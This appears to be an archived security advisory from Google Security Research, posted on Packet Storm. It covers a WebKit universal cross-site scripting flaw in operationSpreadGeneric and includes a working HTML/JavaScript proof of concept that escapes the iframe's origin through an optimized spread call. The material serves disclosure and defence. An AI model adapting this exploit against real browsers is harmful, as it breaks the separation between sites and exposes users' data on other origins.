exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebKit operationSpreadGeneric Universal Cross Site Scripting

WebKit operationSpreadGeneric Universal Cross Site Scripting
Posted Apr 19, 2017
Authored by Google Security Research, lokihardt

WebKit suffers from a universal cross site scripting vulnerability in operationSpreadGeneric.

tags | exploit, xss
SHA-256 | 6d9e305dd9fc16577996089d04a9e8ca38f2b5124a99b6df7e83db1c04d4e35e

WebKit operationSpreadGeneric Universal Cross Site Scripting

Change Mirror Download
 WebKit: UXSS via operationSpreadGeneric 




Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, <a href="https://crrev.com/210957" title="" class="" rel="nofollow">r210957</a>)

PoC:
<body>
<script>

'use strict';

function spread(a) {
return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;

try {
spread(f.contentWindow);
} catch (e) {
e.constructor.constructor('alert(location)')();
}
};

f.src = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>

</script>
</body>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close